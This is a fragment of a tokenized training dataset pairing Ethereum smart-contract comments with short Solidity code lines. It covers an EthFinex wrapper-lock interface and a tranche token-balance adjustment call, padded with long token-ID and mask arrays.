-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0xa3C8d390c3965D33937865973b6159D37B777C54/sources/src/exchanges/interfaces/IEthfinex.sol
|
@dev Minimal interface for our interactions with EthFinex WrapperLockEth
|
interface IWrapperLockEth {
function balanceOf(address) external view returns (uint256);
function deposit(uint256, uint256) external payable returns (bool);
}
| 3,057,556 |
[
1,
4625,
348,
7953,
560,
30,
225,
632,
5206,
5444,
2840,
1560,
364,
3134,
23877,
598,
512,
451,
6187,
338,
18735,
2531,
41,
451,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
5831,
467,
3611,
2531,
41,
451,
288,
203,
565,
445,
11013,
951,
12,
2867,
13,
3903,
1476,
1135,
261,
11890,
5034,
1769,
203,
565,
445,
443,
1724,
12,
11890,
5034,
16,
2254,
5034,
13,
3903,
8843,
429,
1135,
261,
6430,
1769,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x8b35c25eD7f60bDeCacA2AC093f1DC8522642B48/sources/src/lender/tranche.sol
|
calculates the delta between supply and redeem for tokens and burn or mint them
|
_adjustTokenBalance(epochID, supplyInToken, redeemInToken);
| 8,342,338 |
[
1,
4625,
348,
7953,
560,
30,
225,
17264,
326,
3622,
3086,
14467,
471,
283,
24903,
364,
2430,
471,
18305,
578,
312,
474,
2182,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
389,
13362,
1345,
13937,
12,
12015,
734,
16,
14467,
382,
1345,
16,
283,
24903,
382,
1345,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
